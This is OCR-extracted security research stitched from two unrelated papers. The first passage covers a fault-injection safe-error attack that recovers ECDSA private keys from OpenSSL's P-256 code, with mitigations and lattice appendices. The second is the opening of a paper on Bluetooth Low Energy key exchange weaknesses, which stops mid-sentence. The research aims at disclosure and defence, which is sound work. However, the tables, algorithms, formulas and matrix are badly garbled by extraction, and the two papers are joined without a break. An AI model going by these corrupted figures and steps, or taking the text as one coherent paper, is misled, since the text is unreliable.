These two characteristics are needed for step 4 of the attack described in
section 2.

We note in particular that the instructions to target in the last point
addition should be related to the calculation of the x-coordinate of the
output, since only this coordinate is used for the generation of an ECDSA
signature (see appendix A). Then, a valid signature reveals that it was in
fact a dummy point addition.
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Why it reveals knowledge of the nonce. To understand what is
obtained about the nonce from a valid signature, we have to look back at
the algorithm in the last iteration of the loop in the evaluation phase. The
dummy point addition means one of the entries is 0. The active point R
depends on all the windows except the last one, and can be O if all of
them are null. On the other hand, the precomputed point depends only
on one window, therefore it is much more likely that O is this point, from
which we deduce the value of the [ bits of the nonce corresponding to this
window.

Keeping only the valid signatures and the corresponding messages,
then we can apply the technique described in [12] and given in appendix C
to recover the private key since we know that the valid signatures give us
a partial knowledge of the nonces.

Table 2 gives an estimate of the minimum number of valid signatures
needed based on experiments for several elliptic curve sizes. The number
of total signatures can be estimated by multiplying with 2!.

Elliptic curve size 224 bits 256 bits 384 bits
l 456 7 4567 5 6 7

Minium number o\ 2a 21 6559 4336 91 65 56
of valid signatures

Table 2. Estimation of the minimum number of valid signatures needed where [
is the number of bits known from the nonce in each signature.

3.2 The assembly optimized implementation of the P-256
curve in OpenSSL

We present the scalar multiplication algorithm and how the point
addition is handled in this implementation, to show how it relates to the
description in 3.1.

Scalar multiplication algorithm. The scalar multiplication used in
ECDSA signature generation for this implementation is a variant of
the windowing method presented in 3.1. We give in algorithms 3 and 4
respectively the encoding of each window, and the scalar multiplication.
The important elements to notice for the attack is that the window that
corresponds to the last addition is null only if the 5 most significant bits
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of the scalar are 0s. Therefore, the values msb and 1 in our tool findkey
must be set to True and 5.

Require: d with 0 < d < 28
Ensure: encoding of d

1: if d > 27 then

2 d«2°-1-4d

3: s+ 1
4: else
5:

0
return s, [(d+1)/2]

Algorithm 3. Window encoding for scalar multiplication algorithm in P-256
implementation in OpenSSL.

Require: k= (k'255, ey ko)g, P
Ensure: kG

Precomputation phase (offline)
: for i <— 0 to 36 do
for j + 0 to 64 do
Tabli][j] = j2"' P

W

Encoding phase
4: for i < 0 to 36 do
5: Si, d»b — Encoding(knurﬁ, ey kn, k7i,1)

Evaluation phase
6: R« (—1)°°Tab|0][do]
: for 1 < 1 to 36 do

R + R+ (—1)%Tabli][d;]
return R

o =3

Algorithm 4. Single scalar multiplication with the generator in P-256 implemen-
tation in OpenSSL.

To provide the rationale, we first notice that the processing order of
the windows makes the last addition related to the most significant bits.
Second, we give some remarks about the encoding phase:

— Each window is computed from 8 consecutive bits of the scalar
(including a common bit with a previous window, or bit 0 for the
first window);

— The window is null in two cases: when the 8 selected bits are all
0s or all 1s. Indeed, in algorithm 3 if d > 27, then the encoding
will be |(2® — d)/2] which is zero only if d = 255 = (11111111)a,
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and if d < 27, the encoding is [(d + 1)/2] which is zero only if
d = (00000000)3.
The last window is composed of only 5 bits of the scalar and is padded
with 0 bits. According to the previous remark, it is encoded as zero only
if those 5 bits are Os.
Then, this implementation meets the first condition given in 3.1. In
particular, we have [ = 5, and a 256-bit curve.

Point addition. The point addition used in line 8 of algorithm 4 is
implemented in the function ecp_nistz256_point_add_affine. We give
in algorithm 5 the arithmetic instructions of the formulas and in listing 5
part of the x86_64 assembly code (instructions are similar for other
architectures).

Require: P; = (z1,y1,21), P» = (z2,y2), 9: te + t2

P1#O,P2#O,P1%P2 10: tr +— ts - to

Ensure: P + P> = (x3,ys3, 23) 11: t1 <+ x1 - t5

1: to < 22 12: ts + 2 -t

2: t1 + X2 - to 13: xg + tg — t5

3 te —t1 —x1 14: x3 < x3 — tr

4: t3 +— to-2z1 15: to < t1 —x3

5: 73 <+ to - 21 16: ty +— Y1 - tr

6: tz < ts3 - y2 17: to < to - ta

7 t4 <— t3 —¥y1 18: Y3 — to — t3

8: t5 «— t2

Algorithm 5. Arithmetic instructions of point addition, in the field of the curve,
in line 8 of algorithm 4 (highlights: instructions to target for fault injection in the
last addition).

The entries are two points P; and P, and those formulas are not
compatible with the point O. Two values are created to serve as booleans
to indicate if one of the two points is O (from line 5 to line 17 of listing 5).
The instructions of the point addition formulas are executed regardless of
these values. Then, if P; = O (respectively P, = O), the coordinates of the
resulting point are replaced with those of P5 (resp. Pj). As a consequence
the previous calculations are ignored.

Therefore, if one of the inputs is O, the point addition is dummy.
The second condition given in 3.1 is met, and makes the implementation
vulnerable to the attack.
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leaq 64-0(%rsi) ,%rsi
leaq 32(%rsp) ,%rdi
call __ecp_nistz256_sqr_montq

pcmpeqq %xmm4 ,%xmmb
pshufd $0xbl,%xmm3,’%xmm4

movq 0(%rbx) ,%rax
movq %r12 ,%r9
por %xmm3 , % xmm4

pshufd $0,%xmm5 ,%xmm5
pshufd $0xle,’xmm4 ,’xmm3

movq %r13,%r10
por %xmm3 , % xmm4
pxor %xmm3 , % xmm3
movq %rid ,%ri1

pcmpeqd %xmm3 ,%xmmé
pshufd $0,%xmmé4 ,%xmmé

leaq 32-0(%rsp) ,hrsi

movq %r15 ,%r12

leaq 0(%rsp) ,%rdi

call __ecp_nistz256_mul_montq
leaq 320(%rsp) ,hrbx

leaq 64 (%rsp) ,%rdi

call __ecp_nistz256_sub_fromq

Listing 5. Excerpt from the x86_64 assembly code generated by
the perl script https://github.com/openssl/openssl/blob/master/crypto/ec/
asm/ecp_nistz256-x86_64.pl in OpenSSL 1.1.1d (first three instructions of
algorithm 5).

4 Proposal of mitigations

We propose in this section mitigations against the attack. They consist
mainly of using a different encoding of the scalar to avoid the introduction
of dummy point additions.

The first assumption made in 3.1 is the use of an encoding that can
generate null windows so the point O can appear in the addition. Encodings
that avoid null windows are given in [6,10, 13|, but we warn the reader
that for some of those propositions, the two points in the last addition
may be equal in rare cases and could be incompatible with the formulas.
The use of complete formulas from [14] for the last addition only can take
care of it.

A particular case is the odd-signed-comb method implemented in
Mbed TLS (as of version 2.16.5), based on a modification of [6]. It avoids
all special cases of the point addition formulas if the curve cardinality ¢
satisfies ¢ = 1 mod 4 (contrary to what is claimed in the source code of this
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library, the doubling case is possible for curves satisfying ¢ = 3 mod 4),
and we give a proof of it in appendix D.

This algorithm is well suited when storage of precomputed values is
possible, and could replace the scalar multiplication algorithms used for
key and signature generation in OpenSSL and its forks for the curves
P-224, P-256 and P-521. It retains a similar efficiency, and without the
need of bitwise masking technique or branch conditions to manage the
special cases of the point addition formulas.

Remark. The second assumption in 3.1 is the use of point addition
formulas incompatible with the point O. It might be tempting to use
complete formulas [14] to managed this special case. However, it can be
shown that there are still dummy instructions when one of the inputs
is O.

5 Conclusion

In this paper, we have shown that implementations of Elliptic Curve
Cryptography in some libraries such as OpenSSL, BoringSSL or LibreSSSL,
are vulnerable to C safe-error attacks. As a result, several bits of secret
nonces during ECDSA signature generations can be obtained, leading to
the recovery of the private key.

We proposed mitigations that can prevent this attack while retaining
other characteristics of the original algorithms and formulas, such as
efficiency and protection against passive attacks.

A ECDSA

In this appendix, we recall briefly how a signature is generated in
ECDSA. Given a base point GG of prime order ¢ on an elliptic curve, a
private key a in [1,¢ — 1] and a hashing function H (which outputs a ¢-bit
integer), signing a message m is done by generating a nonce k € [1,q — 1]
and computing

r=xz(kQ) mod ¢,
s=k ' (H(m)+ar) mod q.

The pair (r,s) forms the signature of the message m. The verification
process consists in computing the point P = H(m)s 'G + rs~1Q where
@ = aG is the public key of the signer. Then if (P) = r mod ¢, the
signature is valid.
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B Mixed point addition

We give more details on the point addition formulas notably used in
the implementation given in section 3.2.

B.1 Definition

A mixed point addition is when P; and P, have a different representa-
tion. We present the case when P is in projective Jacobian coordinates,
represented by x1, y1 and z; whose affine coordinates are z/ 212 and
y1/ 212, and the point P, by x2 and y» which are its affine coordinates.

The resulting point of the addition is given in Jacobian coordinates by
the formulas

T3 = (?J2Z% - yl)2 - (5522% - 561)2(%’2,2% + x1),

yz = (227 — y1)(x1(w22] — 1) — 3) — y1(x22f — 21)?,

z3 = (1923 — 1) 21.

Those formulas are not compatible in these situations:

— Py = P,: doubling formulas must be used instead;

— P; or P, is the point O, and in this case the shortcut P, + O = P;
is used.

B.2 Handling of the special cases by OpenSSL

In the specific implementation of the curve P-256 described in sec-
tion 3.2 used in particular for signature generation, the special cases are
managed as follows:

— P, = P5: this case is not managed, but it cannot happen;

— P} = O: in this case O is represented by having z; = 0, and a

bitwise masking technique replaces the resulting point with Ps;

— P, = O: in this case O is represented by having zs = yo = 0, and

a bitwise masking technique replaces the resulting point with P;.

C Lattice techniques

In this appendix, we explain the technique in [12] that recovers the
private key from ECDSA signatures with partial knowledge of the nonces.
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C.1 Description

We note |-|, the reduction modulo ¢ in the range [0,¢ — 1] and |- |,
the absolute value of the reduction modulo ¢ in the range [—¢/2, ¢/2].

Suppose we have the following system of linear equations in variables
a, x; for 1 <i<n:

a;x; + bja =¢; mod gq.

With n equations and n + 1 unknowns, we cannot solve this system.
Now suppose we know the [; most significant bits of x;, meaning we
know z} such that |z; — z}| < 2!=% and by centering around 0 we have
|z; — af — 207l < 2thimL

We pose u; = |—a; 'b;], and v; = |2} — a;'e;i|, + 207471 Then we
have the inequality

lau; — vi|q < ot=li—1,

since |aqu; —v;]q = |2 — o5 — 2!7571| . Tt means that some multiple of
u; is very close to v; modulo g. This can be transformed as an instance
of a shortest vector problem by constructing a lattice generated by this
integer matrix:

- 2ll+1q -
212+1q

21”+1q
ohitlyy latly, oo olntly 10
| 201ty 2ty Lo 2ty 0 g

Given the two vectors

U= 20+, ... 2+, 1,0)
V = (2htwy, ..., 2y, 0, q),

then there exist integers A; such that the vector aU — V + Y 0" | A\ L;
(where L; is the i-th line of the matrix L) is a short vector of the lattice.
By applying a reduction algorithm such as LLL or BKZ, we can hope one
of the vectors of the reduced basis is this short vector which contains the
secret value « in its penultimate coordinate by construction.

In the case we know the least significant bits of x; noted , we have
u; = | —(a;21) 71 |4 and v; = |2}278 — (a;2%) " Le; g + /20
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C.2 Application to ECDSA

Given n ECDSA signatures (r;, s;) with their corresponding messages
my, if the [ most significant bits of the nonces are Os, the values u; and v;
are

u; = |ris; qu
v = |—s; tmy ]y + 28700

and if the [ least significant bits of the nonces are Os, the values are

ui = [—(8:2) " 'rilq
vi = [(s:2)"tmifq +q/2

D 0Odd-signed comb scalar multiplication algorithm

In this appendix, we give a description of the encoding and scalar
multiplication used for short Weierstrass curves in Mbed TLS, and a proof
that all exceptional cases of the point addition formulas cannot happen
and do not require a special treatment.

D.1 0Odd-signed encoding

For a window size w, we note m = [t/w] and for a w-bit integer
d = (dy_1,...,dg)2 we note [d] = do + di12™ + ... + dp_12™*=D. The
scalar k = Y!70 k;2' can be rewritten as

m—1
k=) 1d]2,
i=0
where d; = (ki pm(w—1)» Kitm(w—2)s - - - » Kitm, ki)2 is composed of w bits of

k all separated from a same distance m and [d;] is called a comb.

We suppose the scalar k is odd, then [dy] is odd. We apply the following
algorithm to encode the other windows as odd values. Suppose every comb
[d;] is odd for 0 < j < i — 1. If the comb [d;] is even, then we add the bits
representing [d;_1] to the ones representing [d;] bit-by-bit and for every
w bits of the comb, we save the eventual carry, and [d;_1] is changed to
—[di—1]. The carry is then added to the next comb. The operation means
that [d;—1] + 2[d;] is changed to —[d;—1] 4+ 2([d;—1] + [d;]) in the expression
of k, which does not change its value.

The carry propagates until it reaches a new comb [d,,] that is positive.
Denoting [d}] the value of the new comb windows and s; a bit indicator for
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the sign (0 for positive and 1 for negative), the scalar is then encoded as

m

B = (-1,

=0

where d} is odd for all 0 <1i < m.

D.2 Comb method with odd-signed representation

The scalar multiplication is presented in algorithm 6. One drawback is
that it works only for an odd scalar k, but if k is even then ¢ — k is odd,
so this case can still be handled by carefully implementing a branchless
selection between k and g — k.

Require: k= (ki—1,...,ko)2, P, w
Ensure: kP

Precomputation phase
1: for i+ 0to 2" —1do
2: Tab[i] + [2i 4+ 1]P

Encoding phase

3: if k is even then
4: kK <+ q—k

5: else

6: K —k

7:

(s0,dp),-- - (Sm,dp,) + Encoding(k")

Evaluation phase
8: R <« Tab[(d;, — 1)/2]
9: for i < m — 1 down to 0 do
10: R+ 2R
11: R« R+ (—1)*Tabl|(d; — 1)/2]
12: if k is even then

13: y(R) + —y(R)
return R

Algorithm 6. Single scalar multiplication with odd-signed comb method.

D.3 Proof that there is no exception

We suppose the formulas for point addition are the same as those in
appendix B and we prove here that the special cases can never happen
when the curve order ¢ satisfies ¢ = 1 mod 4 and m > 2w + 5. This last
condition is satisfied for 256-bit curves when w < 10.
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For ease of notation, we note C; = (—1)%[d}] and k = My + 2/ M,
where My = f;& C;2" and M; = ?ij C;273. Also, we note the two
bounds that will be useful in the proof:

1< |0y < 2w=DmHl - gnd 20m—Dw < g < gmw,

Apparition of the null point in a loop. Suppose that 7 > 1 and the
result of the addition in the loop is the point O, meaning the relation
R = —C}P, from which we get the relation

M; =0 mod g,

and we get the bound |M;| < 2™w=I*2 If j > w + 2, the bound becomes
|Mi| < g, so My = 0 which is impossible since M; is odd. Now we suppose
j < w4+ 2. We have k = My mod ¢ and the bound |My| < 2(w—Dm+w+3,
Since we supposed m > 2w + 5, we have |My| < g. Then either k = M
which implies M; = 0, or kK = My + ¢ which implies ¢ is even, both are
impossible.

Then the result of the addition is proved to never be the null point O,
except in the last loop which happens when the scalar is ¢. In this case,
the formulas compute a correct representation of this point in Jacobian
coordinates.

Doubling case in the last iteration of the loop. Before the addition
in the last loop, we have R = >/, C;2! P and cannot be the null point O
as proved above. Then the only exception would be if we have R = CyP,
it means that k£ = 2Cy mod q.

Since m is large enough, we have |2Cy| < ¢, then either k = 2Cy or
k = q + 2Cy. The first case is impossible because k is odd. In the second
case, Cy is negative, it means (' is even according to the encoding. So
the second least significant bit of k is 0. Then £ = 1 mod 4 from which we
get that ¢ = 3 mod 4.

If a curve order satisfies this condition, it is possible that there is a
scalar that produces the doubling exception in the last loop. In particular
it happens for curve P-384 in the implementation of this algorithm in
Mbed TLS. But this is not possible when ¢ = 1 mod 4, which is the case
for curves P-224, P-256 and P-521.

Doubling case in a previous iteration of the loop. Suppose that
for 7 > 1, the doubling case happens in the loop so we have the equality
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R = C;P, from which we get the relation
M; =2C; mod q.

We get a large bound |M; —2C;| < 2™*~7%2 ysing the bounds on C; and q.
If j > w+2, then we have |M; —2C};| < ¢, so M; = 2C; which is impossible
due to parity. Now we suppose j < w+2. We have k = M0—|—2j+1Cj mod g,
and the bound |My + 27+10;| < 2(w=Dm+w+5 Since we supposed m >
2w + 5, we have | My + 2971C}| < g. Then either k = My + 2971C; which
implies the impossible equality M; = 2C}, or k = My + 2j+1Cj + g which
implies that ¢ is even, but ¢ is odd.

Other remarks. The doubling in line 10 of algorithm 6 can be removed
at the cost of having a precomputed table for each comb as has been done
in algorithm 4 for the implementation of curve P-256 in OpenSSL.

The algorithm is initialized by taking a precomputed point in the table
which cannot be O, then its coordinates can be easily randomized to add
protection against Differential Power Analysis.
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Abstract. Bluetooth Low Energy is a widely deployed protocol in the
world of connected devices. As such, the question of the security level of
communications is important. This paper analyses and summarises the
previous work from a communication security point of view. It discusses
the concept of key exchange and key generation in Bluetooth Low Energy
as well as their inner working. Some new shortcomings of the standard-
ised key exchange and key generation are discussed in this paper. Test
procedures are developed, enabling one to verify that a device has none
of the mentioned problems.

1 Introduction

Among the several wireless communication protocols deployed in elec-

tronic

"smart" devices, Bluetooth Low Energy (BLE) has a prominent

role. It is currently integrated by default in billions of devices [30], be
it smartphones, Smart TVs, healthcare devices, locks, etc. Because it is
deployed in a lots of different devices, contexts and scenarios, the concept
of "security" in BLE can cover many cases. Common security research

efforts

tend to go in the following directions:

Device security: in this context, researchers try to get access
to the information or capabilities of the device. Smart locks or
glucometers have been subject to those kind of studies;

Privacy: in this context, researchers analyse the privacy impli-
cations of BLE devices and study the privacy-preserving modes
implemented;

Tool manufacture: in this part, developers and researchers craft
tools to interact with BLE devices and test their security. Studies
about sniffers and framework are represented;

Communication security: in this context, researchers set to
analyse the security properties of the BLE communication protocol.

The first three approaches will be briefly discussed in this paper, while
a focus will be made on BLE communication security. Therefore related
work of this nature will be examined more thoroughly.
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Like many standards, the BLE specification is a rather complex doc-
ument which does contribute to give neither a clear comprehension of
the security mechanisms nor a precise view of the best way to implement
those. Furthermore, backwards compatibility raises questions about the
way security is implemented and managed in devices which are compatible
with several versions of the standard.

In this study, the auditability of closed source BLE stacks against
potential misinterpretations or bad implementations of specific security
requirements of the standard is discussed.

First, an effort is made to decribe with clarity and pedagogy the security
mechanisms supported by the standard. Then, an example description
of two weaknesses that become exploitable when some specific security
requirements from the standard are not correctly implemented is provided.
The first one relies on a lack of entropy in one of the key generation methods
described in the standard. An attacker with the ability to repeatedly bond
with a device which uses this method is able to enumerate all the keys
that the device will generate. This attack affects all Pairing procedures
and requires the implementation of the Key Hierarchy key generation.
The second one can be viewed as an extension of CVE-2018-5383 in the
case key renewal is improperly implemented. It impacts the key exchange
in BLE. Both attacks lead directly or indirectly to compromising the
keys involved in the confidentiality, the integrity and the authenticity
of communications. The effectiveness of both attacks is conditioned by
the way delays are introduced between successive pairing attempts, as
mandated by the standard.

It is to be noted that devices implementing correctly the security
requirements of the latest version of the standard will not be impacted
by those attacks. But it becomes pretty obvious that the possibility to
determine if a target implementation is vulnerable to such attacks is of
fundamental interest. To adequatly address this issue, it is suitable to
design and release efficient test procedures which ideally would be benign,
i.e. do not require or provide means to exploit the vulnerabilities to identify
vulnerable devices.

Thus the main outcome of this study is the design, the evaluation
and the implementation of test vectors allowing to test closed source
implementations against the aforementioned vulnerabilities.

In section 2, necessary basics about Bluetooth protocols will be pro-
vided. The security mechanisms and keys involved will be detailed in an
understandable way. Section 3 will present the state of the art with a
focus on BLE communication security. In section 4, the inner workings of



T. Claverie, J. Lopes-Esteves 253

BLE key exchange and key generation mechanisms will be discussed. Sec-
tion 5 will explain the problems brought by the Key Hierarchy generation
method and devise a testing method for it. The section 6 will focus on
detailing the implementation flaws highlighted by Biham et al. [22]. It will
discuss the analysis of their work made by Cremers et al. [27] and discuss
the applicability of the key retrieval scenario. Some test vectors will be
discussed in this section. Section 7 will present the challenges encountered
when performing successive pairings on various type of devices. It will
discuss the effectiveness of designed test procedures when testing an open
implementation for the identified vulnerabilities. Finally, section 8 will
conclude this paper.

2 Bluetooth technical background

This section provides an introduction to several protocols which were
standardized under the "Bluetooth" denomination. Their main differences
and the security mechanisms they provide are discussed in detail.

2.1 Bluetooth Classic and Bluetooth Low Energy basics

Bluetooth-related protocols are developed and standardised by the
Bluetooth Special Interest Group (SIG) [7]. Bluetooth Classic (BT) and
Bluetooth Low Energy are communication protocols, that is they allow to
exchange data between two or more entities. When a communication link is
established between two devices using either protocol, the communication
follows a master-slave fashion on the lower layers.

The first version of the specification appeared in 1999, in which Blue-
tooth Classic was described. There have been significant changes in the
security of BT in version 2.1, published in 2007, with the addition of
security procedures under the name Secure Simple Pairing (SSP).
Bluetooth Low Energy was officially added to the specification in version
4.0 in 2009 (though it lived a few years before under the denomination
"Bluetooth Smart"). There have been some evolutions to the security
of BLE in version 4.2 with the addition of security procedures called
LE Secure Connections! (LESC). Retro-actively, the previous security
procedures have been named Legacy Pairing (versions 4.0 and 4.1).

New security procedures defined in LESC are in fact those that had
been defined in SSP, being rebranded, though cryptographic primitives

1. The term Secure Connections (without 'LE’) refers to a security mode of
Bluetooth Classic. The term LE Secure Pairing may be found in relevant literature,
it is a synonym of LE Secure Connections.
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used in LESC security procedures are not the exact same as the ones
used in SSP security procedures. This means that some results apply
equally to SSP and LESC, which is why part of the relevant literature for
BLE communication security refers only to SSP security procedures and
predates BLE itself.

2.2 Security in Bluetooth Low Energy

As a communication protocol, BLE attempts to provide four ? security
properties:
— Confidentiality;
— Integrity;
— Authenticity;
— Privacy.
To guarantee those properties, the specification defines several proce-
dures, involving different cryptographic keys in the process. As mentioned,
security of BLE has changed between versions 4.0 and 4.2. However, the
various Bluetooth specifications require backwards compatibility: BLE
devices compliant with the latest version of the specification will imple-
ment both security specifications. Between both versions, the properties
have been kept, some procedures have changed and key management
strategy has slightly changed. In the following descriptions, the elements
are common to both versions, except when specifically noted.
The keys introduced in the specifications are as follows:
— STK: Short-Term Key (specific to Legacy Pairing);
— LTK: Long-Term Keys;
— CSRK: Connection Signature Resolving Key;
— IRK: Identity Resolving Key.
The specifications also describe the following security-related proce-
dures: 3
— Pairing: this is the process of exchanging an ephemeral key and
optionally authenticating two devices. Different procedures in 4.0
and 4.2;

— Link Encryption: this is the process of encrypting the commu-
nications between a master and a slave. It requires a LTK or a
STK;

2. Some would argue that it also provides "Authorization", but this property is not
standardised in the specification, which is why it has been excluded from the list.

3. Depending on the procotol layer considered, those procedures are renamed or
aggregated into higher-level procedures.
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— Bonding: this is the process of creating a bond between two
devices. This bond is a persistent mapping between a device and
an exchanged set of keys. It must be done after Pairing and over
an encrypted link. Few differences between 4.0 and 4.2;

— Data Signing: this is the process of signing some commands? to
a device. It is not available over an encrypted link. It requires the
CSRK;

— Private Address Resolution: this is the process of resolving

(~decrypting) the address of a device from an advertised one.
Requires the IRK.

. Link ..y Authenticity
STK “ grR+ Encrypti
I’ ‘_/f
S ‘A Confidentiality
LTK ¥
i o] Data
airing onding .*Signing A
‘,’ tgntng > Integrity

CSRK

Generates Private )

Uses IRK <~ -~ Address ...y Privacy

Provides Resolution

Requires

Fig. 1. Mapping between security properties, procedures and keys in Legacy
Pairing

» Authenticity
- A Confidentiality
-~

Pairing Bonding Y .
~» Integrity

Generates Private

Uses IRK*®~--- Address -....-» Privacy
Provides Resolution

Requires

Fig. 2. Mapping between security properties, procedures and keys in LE Secure
Connections

4. The only command that can be signed is "ATT Signed Write Command" defined
in ATT protocol.
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The relationships between the security properties, the aforementioned
procedures and the cryptographic material is shown in Figures 1 for Legacy
Pairing and 2 for LE Secure Connections. Those procedures are performed
in a sequence as follows:

1. Both devices perform a Pairing procedure, after which they share a
key (STK in Legacy Pairing and LTK in LE Secure Connections);

2. The Link Encryption procedure is ran using the shared key obtained
after pairing;

3. If they wish for it, both devices perform the Bonding procedure,
after which they may generate and exchange the CSRK, the IRK
and the LTK. In LESC, the LTK generated by the Pairing procedure
is stored and not re-generated during Bonding;

4. Subsequent connections will be encrypted with the LTK using the
Link Encryption procedure.

The case of authentication is a bit more subtle, because it is optional.
In order to know if the link is authenticated, devices have to remember if
the key used to encrypt was authenticated, that is if the Pairing procedure
provided this property.

Though not explicitely defined, it is possible to infer two attacker levels
from the specification:

— Passive: this attacker can listen to all messages exchanged between
two devices;

— Active: this attacker can listen, inject, intercept and forward
messages between two devices.

From a communication security standpoint, the goal of an attacker
is to get knowledge of the key used in the Link Encryption procedure
(either STK or LTK). Once in possession of this key, it is possible to
passively decrypt all communications between devices by capturing the
Link Encryption procedure. For devices that use the specific Data Signing
procedure, which doesn’t require encryption, the goal of an attacker is
to get knowledge of the CSRK. For devices that use the Private Address
Resolution procedure, the goal of an attacker is to get knowledge of the
IRK to be able to track a device across time.

Therefore, the way those keys are generated and/or derived is important
for the security properties to hold. Those phases occur during the Pairing
and the Bonding steps.



T. Claverie, J. Lopes-Esteves 257

2.3 Pairing and Bonding in BLE

Pairing is the process in which two devices exchange a shared key
and optionnally authenticate to each other. This process comes in several
flavours as the standards describe seven different paring procedures. It is to
be realized that the name of Pairing procedure reflects the user interaction
required, not their security or the messages exchanged. In practical terms,
some procedures bear the same name in Legacy Pairing and in LESC,
but do not use the same cryptographic primitives nor exchange the same
messages. Therefore, they do not exhibit the same security properties.
This situation adds an unnecessary but more critically harmful complexity
to the protocol.

In Legacy Pairing (BLE 4.0 and 4.1) were defined three procedures.
After Pairing with one of those, both devices share the STK. The Pairing
procedures are:

— JustWorks: no interaction required from the user;

— Passkey Entry: one device displays a six-digit number and the

user inputs it in the other device;

— Out of Band: the devices use an other communication channel
(such as Near-Field Communication (NFC), Infrared (IR), etc.) to
share the STK.

In LE Secure Connections (BLE 4.2), four additional Pairing proce-
dures were defined. After Pairing with one of those, both devices share
the LTK. The Pairing procedures are:

— JustWorks: no interaction required from a user;

— Passkey Entry: one device displays a six-digit number and the

user inputs it in the other device;

— Numeric Comparison: both devices display a six-digit number
and the user must validate on both devices that they match;

— Out of Band: the devices use an other communication channel
(such as NFC, IR, etc.) to exchange authentication data.

Therefore, to accurately talk about a specific Pairing procedure, the
pairing mode should be mentioned e.g. LESC Passkey Entry. As discussed
in section 2.1, devices which are compliant with the latest version of the
specification implement those seven procedures.

Essentially, the way the pairing modes work is the following:

— Legacy Pairing: the Pairing procedure (JustWorks, Passkey En-
try, Out of Band) serves to exchange a temporary secret, from
which STK is derived. Authentication is performed based on user
interaction, using a commitment scheme.
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— LE Secure Connections: an ECDH key exchange (over curve
P-256) is used to share a secret, from which LTK is derived. The
Pairing procedure is used to authenticate the public key of the
participants. This authentication relies on user interaction, using a
different commitment scheme.

The Bonding procedure is used to exchange keys between devices. Each
device asks for a set of keys the other party has to generate and send.
For example in Legacy Pairing, the master could ask for a LTK, CSRK
and IRK while the slave could ask for a LTK and CSRK. Then the slave
will generate an LTK, CSRK and IRK and send them over the encrypted
link. The master will generate a LTK and CSRK and send them over
the encrypted link. Only the slave’s set of key is used after bonding. The
rationale for the master to send its own set of keys is in case both devices
switch roles in an upcoming connection: the master becomes slave and the
keys he generated become the ones used, without requiring a new pairing
nor bonding.

3 Related work

Recent research efforts regarding BLE-enabled devices security have fo-
cused on smart locks [32,39], connected toothbrushes [20] or e-scooters [14].
In those cases, it is considered that an attacker has physical access to a
device and is able to connect and pair to it. For some devices, this is a
reasonable model, such as for smart locks whose function is to prevent a
physically present attacker to open them.

On the privacy side, several researchers have tackled the issue. A
usual target is the advertising mechanism, which broadcasts metadata
about a device and leaks some identifiable information [25,26,28]. Other
research has studied the possibility to fingerprint devices using other
public information [43].

Several tools are available to work with BLE, starting with the most
obvious which are the official Linux stack BlueZ [4] and its suite of tools or
the official Android BLE API [3]. In order to test communication security,
several sniffers exist. Proprietary sniffers are TIT’s one [8] and Adafruit
BLEfriend [5]. Open-source sniffers are Ubertooth One [12], btlejack [24]
and SniffLE [15]. There are also man-in-the-middle (MITM) frameworks
for BLE, which are GATTacker [42], btlejuice [23] and Mirage [6].

All of them have different capacities, for example btlejack is able not
only to sniff, but also to take control of a link: it actively disconnects the
master and takes its place in the connection. Mirage is also more than a
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MITM framework, it aggregates several third-party tools and exposes an
interface to manipulate them. Using those capabilities, it is possible to
reimplement more complex scenarios. It finally enables to interact directly
with a BLE dongle, which can be leveraged to program custom behaviors.
In addition, multiple libraries allow to interact with BLE dongles in various
programming languages. The advantage of Mirage over those is that lower
layers are directly accessible and not wrapped into high-level APIs.

Regarding communication security, researchers have mostly focused on
the Pairing procedure, as it is this process which is used to derive a LTK
or STK for both devices. Some results regarding BT SSP are provided in
this section, however those shouldn’t be mistaken for a complete state of
the art of Bluetooth Classic communication security. In 2013, Ryan [40]
showed that the Pairing procedures JustWorks and Passkey Entry in
Legacy Pairing allowed a passive attacker to recover STK. The attacker
could use it to passively decrypt all the subsequent communications, by
capturing the Link Encryption procedure with knowledge of the key. If
both devices bonded afterwards, the attacker was thus able to get the
LTK of this bond, having decrypted the link over which it is sent The
tool crackle [41] was released at the same time, which enables to decrypt
a capture if it uses one of those two Pairing procedures or if the LTK
is known in advance and the Link Encryption procedure is part of the
capture.

Rosa [38] showed that the commitment scheme used in Legacy Pairing
was flawed: the committed value can be changed after being produced.
This means that an attacker could complete a pairing as a slave device
using the Legacy Passkey Entry Pairing procedure without knowledge of
the numeric code displayed by the master. More generally, this shows that
the authentication property of this Pairing procedure does not hold. It
still holds in the case of the OOB procedure if the exchanged secret stays
S0.

Regarding LESC security, one must look at research papers studying
BT SSP security. Haattaja et al. [29] did a summary of their research on
Bluetooth SSP security. The base element is called 'Nino’ attack which is
a MITM on the SSP JustWorks procedure, therefore applies equally to
LESC JustWorks procedure. They show that an active attacker is able
to perform a successful MITM on this Pairing procedure and complete
pairing with both devices. This is a logical conclusion because this Pairing
procedure does not provide authentication (i.e. explicitely does not protect
against an active attacker), therefore the result is self-evident. Then, they
explored various scenarios where an active attacker was able to downgrade
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to a less secure Pairing procedure by carefully tampering with the messages
exchanged during pairing. As a result, an active attacker is able to change
the Pairing procedure that two devices are about to use. For example, it
could downgrade the Pairing procedure from LESC Numeric Comparison
which is authentified, to LESC JustWorks which is not. In this case, the
attacker will be able to complete a successful pairing. A side note regarding
BLE could be added, the same principle could be used to downgrade any
LESC procedure to Legacy Passkey Entry, which is broken. Therefore, it is
possible for an active attacker to combine Haattaja’s approach and Ryan’s
results to downgrade any LESC procedure to Legacy Passkey Entry and
to recover STK then the keys exchanged.

Lindell, A. [33] has shown that the SSP Passkey Entry procedure did
not prevent eavesdropping of the numeric code used in an instance of the
Pairing procedure. This means that if the code is static or can be guessed
from previous ones, an attacker who would be able to force re-pairing
devices could authenticate its own public key to both master and slave.
As the attacker is in possession of the code used as authentication secret,
he could successfully perform a MITM attack on the Pairing procedure. A
second result is discussed, which is the ability for an attacker to 'read’ the
static code from a device. In case a device is preconfigured with a static
code, an attacker could perform several pairing attempts and infer the code
using the device as an oracle. In at most 20 attempts, an attacker will be
able to retrieve the preconfigured code from any device using this scheme.
Note that this result, developed for SSP Passkey Entry, is applicable to
LESC Passkey Entry, but not to Legacy Passkey Entry because of the
differences that exist between the uses of the commitment scheme of those
modes.

Lindell, Y. [34] performed a formal proof of the security of the SSP
Numeric Comparison procedure. This result should be considered en-
couraging for the security of LESC Numeric Comparison. However, the
cryptographic primitives used in SSP and LESC are different, thus the
proof may not directly apply to LESC Numeric Comparison.

More recently, Biham et al. [22] showed that vulnerable implementa-
tions of the ECDH key echange in SSP and LESC could allow an active
attacker to compromise the LTK (or its equivalent in the context of SSP)
without affecting the pairing process. This attack will be discussed in more
details in Section 6.

Cremers et al. [27] extended the field of formal protocol analysis to
